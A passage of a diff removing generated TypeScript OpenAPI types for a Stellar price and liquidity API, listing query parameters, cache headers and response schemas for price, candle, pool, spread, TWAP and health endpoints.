preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - DecimalFormatHeader: "number" | "string"; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - NetworkQuery: "testnet" | "mainnet"; - }; - requestBodies: never; - headers: { - /** @description Per-route cache policy (see "Cache policy" in the API description). Every route sends a deliberate `Cache-Control`: live prices `public, max-age=30`; aggregates `public, max-age=60`; `/pairs` and `/pools` `public, max-age=300`; closed candle windows `public, max-age=86400`; per-caller, operator and error responses `no-store`. */ - CacheControl: string; - }; - pathItems: never; -} -export type $defs = Record; -export interface operations { - getVenueRegistry: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Registered venues and their current liveness */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": { - /** @enum {string} */ - network: "testnet" | "mainnet"; - venues: { - id: string; - /** @enum {string} */ - kind: "orderbook" | "amm" | "oracle"; - /** @enum {string} */ - network: "testnet" | "mainnet"; - enabled: boolean; - /** @enum {string} */ - liveness: "live" | "stale" | "disabled" | "unknown"; - /** Format: date-time */ - lastSeenAt: string | null; - }[]; - }; - }; - }; - }; - }; - getLive: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Process is alive. */ - 200: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - }; - }; - getTvl: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - /** @description Return historical time series of TVL when true */ - history?: boolean; - /** @description Historical lookback window in hours (default 24) */ - window?: string; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Total Value Locked breakdown or historical series */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": { - /** @example true */ - ok: boolean; - /** - * @description Seconds since the process started. - * @example 3600 - */ - uptimeSeconds: number; - }; - }; - }; - }; - }; - getReady: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Ready to receive traffic. */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["ReadinessReport"]; - }; - }; - /** @description Invalid parameters */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - /** @description Not ready. `ok` is false and `checks` says which dependency (or the boot sequence) is responsible. `/live` remains healthy. */ - 503: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["ReadinessReport"]; - }; - }; - }; - }; - getStatus: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description API status and health diagnostics */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": { - ok?: boolean; - /** @enum {string} */ - status?: "healthy" | "degraded" | "unhealthy"; - /** @enum {string} */ - network?: "testnet" | "mainnet"; - health?: { - process?: string; - data?: string; - }; - process?: { - uptimeSeconds?: number; - memoryUsageMb?: number; - status?: string; - }; - data?: { - lastIndexedLedger?: number | null; - /** Format: date-time */ - lastProcessedAt?: string | null; - ingestLagSeconds?: number | null; - isStale?: boolean; - }; - watchedPairs?: string[]; - lastIndexedLedger?: number | null; - /** Format: date-time */ - lastProcessedAt?: string | null; - ingestLagSeconds?: number | null; - /** @description Whether this deployment has an ADMIN_TOKEN configured, so an operator can tell a rejected token from a disabled admin surface. Reports only that a token is set, never any part of its value. Admin routes answer 503 admin_not_configured when this is false. */ - adminConfigured?: boolean; - }; - }; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description Service unhealthy or database unreachable */ - 503: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": { - ok?: boolean; - status?: string; - /** - * @description A fixed phrase, never the database driver's message. This route is public and unauthenticated, and a connection failure carries the host, the user and sometimes the whole connection string; the detail is logged server-side instead. - * @example Database unavailable - */ - error?: string; - /** @example DATABASE_DOWN */ - pagingCondition?: string; - }; - }; - }; - }; - }; - getSnapshot: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Network snapshot */ - 200: { - headers: { - /** @description Freshness/brief-caching policy for the snapshot. */ - "Cache-Control"?: string; - /** @description Whether this response came from the short-lived cache. */ - "X-Cache"?: "HIT" | "MISS"; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["SnapshotResponse"]; - }; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description Snapshot aggregation failed */ - 500: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["InternalErrorResponse"]; - }; - }; - }; - }; - getPrice: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; - }; - path: { - /** @example XLM */ - assetA: string; - /** @example USDC */ - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Aggregated price data */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["AggregatedPrice"]; - }; - }; - 402: components["responses"]["PaymentRequired"]; - /** @description Pair not watched */ - 404: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getBestRoute: { - parameters: { - query?: { - amount?: number; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; - }; - path: { - assetA: string; - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Best route information */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["RouteInfo"]; - }; - }; - 402: components["responses"]["PaymentRequired"]; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getFiatPrice: { - parameters: { - query?: { - currency?: string; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path: { - asset: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Price converted into target fiat currency */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": Record; - }; - }; - /** @description Invalid parameters */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getPriceHistory: { - parameters: { - query?: { - window?: "1m" | "5m" | "1h" | "24h"; - limit?: number; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; - }; - path: { - assetA: string; - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Price history */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": { - pairKey?: string; - /** @enum {string} */ - network?: "testnet" | "mainnet"; - window?: string; - buckets?: components["schemas"]["PriceBucket"][]; - }; - }; - }; - /** @description Invalid parameters */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getPools: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; - }; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description List of pools */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": { - pools?: { - pool_id?: string; - asset_a?: string; - asset_b?: string; - reserve_a?: number | string; - reserve_b?: number | string; - spot_price?: number | string; - fee_bp?: number; - /** Format: date-time */ - timestamp?: string; - }[]; - }; - }; - }; - 402: components["responses"]["PaymentRequired"]; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getCandles: { - parameters: { - query?: { - interval?: "1m" | "5m" | "15m" | "1h" | "4h" | "1d"; - /** @description Start of the time window (inclusive). Together with `to` this defines a half-open interval [from, to): samples whose timestamp is exactly `from` are included, samples whose timestamp is exactly `to` are excluded. This means two adjacent windows [T0, T1) and [T1, T2) share no boundary — a sample landing exactly on T1 appears in exactly one of the two windows. */ - from?: string; - /** @description End of the time window (exclusive). Together with `from` this defines a half-open interval [from, to): samples whose timestamp is exactly `to` are excluded, samples whose timestamp is exactly `from` are included. This means two adjacent windows [T0, T1) and [T1, T2) share no boundary — a sample landing exactly on T1 appears in exactly one of the two windows. */ - to?: string; - }; - header?: never; - path: { - assetA: string; - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Candle data */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": { - pairKey?: string; - interval?: string; - from?: string; - to?: string; - candles?: { - /** Format: date-time */ - time?: string; - open?: number; - high?: number; - low?: number; - close?: number; - volume?: number; - }[]; - }; - }; - }; - /** @description Invalid parameters */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 402: components["responses"]["PaymentRequired"]; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getPriceSnapshots: { - parameters: { - query: { - /** @example XLM/USDC */ - pair: string; - interval?: "1m" | "5m" | "1h"; - /** @description Start of the time window (inclusive). Together with `to` this defines a half-open interval [from, to): samples whose timestamp is exactly `from` are included, samples whose timestamp is exactly `to` are excluded. This means two adjacent windows [T0, T1) and [T1, T2) share no boundary — a sample landing exactly on T1 appears in exactly one of the two windows. */ - from?: string; - /** @description End of the time window (exclusive). Together with `from` this defines a half-open interval [from, to): samples whose timestamp is exactly `to` are excluded, samples whose timestamp is exactly `from` are included. This means two adjacent windows [T0, T1) and [T1, T2) share no boundary — a sample landing exactly on T1 appears in exactly one of the two windows. */ - to?: string; - /** @description Response encoding. `csv` returns a text/csv body holding a `ts,price,volume` table (RFC 4180 quoting, LF line endings, one trailing newline); `json` is the default. */ - format?: "json" | "csv"; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Historical price snapshots */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "text/csv": string; - "application/json": { - pair?: string; - /** @enum {string} */ - network?: "testnet" | "mainnet"; - interval?: string; - /** Format: date-time */ - from?: string; - /** Format: date-time */ - to?: string; - count?: number; - points?: { - /** Format: date-time */ - ts?: string; - price?: number; - volume?: number; - }[]; - }; - }; - }; - /** @description Invalid parameters */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 402: components["responses"]["PaymentRequired"]; - 429: components["responses"]["TooManyRequests"]; - }; - }; - listPairs: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description List of pairs */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": { - pairs?: { - pairKey?: string; - assetA?: components["schemas"]["Asset"]; - assetB?: components["schemas"]["Asset"]; - latestPrice?: number | null; - /** Format: date-time */ - lastUpdated?: string | null; - }[]; - }; - }; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - addPair: { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - requestBody: { - content: { - "application/json": { - /** @example XLM */ - assetA?: string; - /** @example USDC:GBBD47... */ - assetB?: string; - }; - }; - }; - responses: { - /** @description Pair added */ - 201: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - /** @description Invalid input */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - /** @description Unauthorized */ - 401: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - /** @description Pair already exists */ - 409: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getDepth: { - parameters: { - query?: { - amount?: number; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; - }; - path: { - /** @example XLM */ - assetA: string; - /** @example USDC */ - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Depth ladder */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["DepthResponse"]; - }; - }; - /** @description Invalid amount */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 402: components["responses"]["PaymentRequired"]; - /** @description Pair not watched */ - 404: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getBook: { - parameters: { - query?: { - /** @description Maximum fractional distance from spot; valid range 0 to 0.5. */ - depth?: number; - /** @description AMM input-reserve fraction per synthetic rung; valid range 0.001 to 0.1. */ - step?: number; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; - }; - path: { - /** - * @description Base asset; use XLM for native Stellar or CODE:ISSUER for a token. - * @example XLM - */ - assetA: string; - /** - * @description Quote asset; token issuers must be supplied in full. - * @example USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5 - */ - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Book levels with per-venue provenance; unavailable venues are identified in the response. */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["BookResponse"]; - }; - }; - /** @description Invalid asset, depth, or step parameter */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description No source could be read; response provenance identifies failed venues. */ - 503: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["BookResponse"]; - }; - }; - }; - }; - getImpact: { - parameters: { - query?: { - /** @description Comma-separated positive slippage percentages. Defaults to 1,5,10. */ - thresholds?: string; - /** @description Usable fraction of the A-side reserve, between 0 and 1. */ - liquidityFraction?: number; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path: { - /** @example XLM */ - assetA: string; - /** @example USDC */ - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Adaptive impact curve */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["ImpactResponse"]; - }; - }; - /** @description Invalid threshold or liquidity settings */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 402: components["responses"]["PaymentRequired"]; - /** @description Pair or AMM liquidity not found */ - 404: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getTwap: { - parameters: { - query?: { - /** @description Lookback window in minutes. */ - window?: number; - /** @description Sampling grid width in seconds. */ - sampleInterval?: number; - method?: "iqr" | "modified_zscore"; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; - }; - path: { - assetA: string; - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description TWAP result */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["TwapResponse"]; - }; - }; - /** @description Invalid parameters */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 402: components["responses"]["PaymentRequired"]; - 429: components["responses"]["TooManyRequests"]; - /** @description TWAP computation failed */ - 500: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - }; - }; - getVwap: { - parameters: { - query?: { - /** @description Lookback window in minutes. */ - window?: number; - /** @description Restrict to a single venue (omitted pools every venue). */ - source?: "SDEX" | "AMM"; - method?: "iqr" | "modified_zscore"; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, preventing IEEE-754 floating-point precision loss. Defaults to `number`. Can also be negotiated via `Accept: application/json; decimals=strings` or query parameter `?decimals=strings`. */ - "X-Decimal-Format"?: components["parameters"]["DecimalFormatHeader"]; - }; - path: { - assetA: string; - assetB: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description VWAP result */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["VwapResponse"]; - }; - }; - /** @description Invalid parameters */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 402: components["responses"]["PaymentRequired"]; - 429: components["responses"]["TooManyRequests"]; - /** @description VWAP computation failed */ - 500: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - }; - }; - getVolumes: { - parameters: { - query?: { - window?: "24h" | "7d" | "30d"; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path: { - /** @example XLM */ - asset: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Aggregated volume */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["VolumeResponse"]; - }; - }; - /** @description Invalid window */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description Volume aggregation failed */ - 500: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["InternalErrorResponse"]; - }; - }; - }; - }; - getSpreads: { - parameters: { - query?: { - window?: "5m" | "15m" | "1h" | "24h"; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path: { - /** @example XLM */ - asset: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Per-venue spreads */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["SpreadResponse"]; - }; - }; - /** @description Invalid window or network */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description Spread aggregation failed */ - 500: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["InternalErrorResponse"]; - }; - }; - }; - }; - getLendingRates: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path: { - /** @example USDC */ - asset: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Per-venue lending rates, best-first (empty when no market) */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["RatesResponse"]; - }; - }; - /** @description Invalid network */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description Rate lookup failed */ - 500: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - }; - }; - compareAsset: { - parameters: { - query?: { - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path: { - /** @example XLM */ - asset: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Price comparison (includes status:"no_data" when both sources are null) */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["CompareResponse"]; - }; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - screenPairs: { - parameters: { - query?: { - volume?: number; - change_24h_min?: number; - change_24h_max?: number; - price_min?: number; - price_max?: number; - /** @description Filter for pairs with total AMM pool liquidity greater than or equal to this value. Liquidity is defined as the sum across all active AMM pools for the pair of (reserve_a * spot_price + reserve_b), valued in the quote asset (asset_b) at the latest snapshot spot price. */ - liquidity?: number; - sortBy?: "volume" | "change_24h" | "price" | "liquidity"; - order?: "asc" | "desc"; - /** @description Opaque cursor returned as `nextCursor` by the previous page. */ - cursor?: string; - limit?: number; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Screened pairs */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["ScreenerResponse"]; - }; - }; - /** @description Invalid filter, sort or cursor */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description Internal server error */ - 500: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - }; - }; - getMovers: { - parameters: { - query?: { - window?: "1h" | "24h" | "7d"; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Market movers */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["MoversResponse"]; - }; - }; - /** @description Invalid window or network */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description Internal server error */ - 500: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - }; - }; - getBenchmark: { - parameters: { - query?: { - target?: string; - }; - header?: never; - path: { - /** @example USDC */ - asset: string; - }; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Benchmark statistics */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["BenchmarkResponse"]; - }; - }; - /** @description Pair not watched */ - 404: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - /** @description Benchmark computation failed */ - 500: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["InternalErrorResponse"]; - }; - }; - }; - }; - getBasket: { - parameters: { - query: { - /** - * @description Asset code; repeat for each basket member (at least two). - * @example [ - * "XLM", - * "USDC" - * ] - */ - asset: string[]; - /** - * @description Relative weight for each `asset`, in the same order. - * @example [ - * 0.6, - * 0.4 - * ] - */ - weight: number[]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Basket price or error with reason when price data is missing */ - 200: { - headers: { - "Cache-Control": components["headers"]["CacheControl"]; - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["BasketResponse"]; - }; - }; - /** @description Missing assets or mismatched/invalid weights */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: components["responses"]["TooManyRequests"]; - }; - }; - getCorrelation: { - parameters: { - query: { - /** - * @description Comma-separated or repeated asset codes (at least two) - * @example XLM,USDC - */ - assets: string | string[]; - /** @description Lookback window (5m, 15m, 1h, 24h, 7d, 30d). Defaults to 24h. */ - window?: "5m" | "15m" | "1h" | "24h" | "7d" | "30d"; - /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ - network?: components["parameters"]["NetworkQuery"]; - }; - header?: never; - path?: never; - cookie?: never; - }; - requestBody?: never; - responses: { - /** @description Correlation matrix and pair provenance */ - 200: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["CorrelationResponse"]; - }; - }; - /** @description Missing or invalid parameters */ - 400: { - headers: { - [name: string]: unknown; - }; - content?: never; - }; - 429: 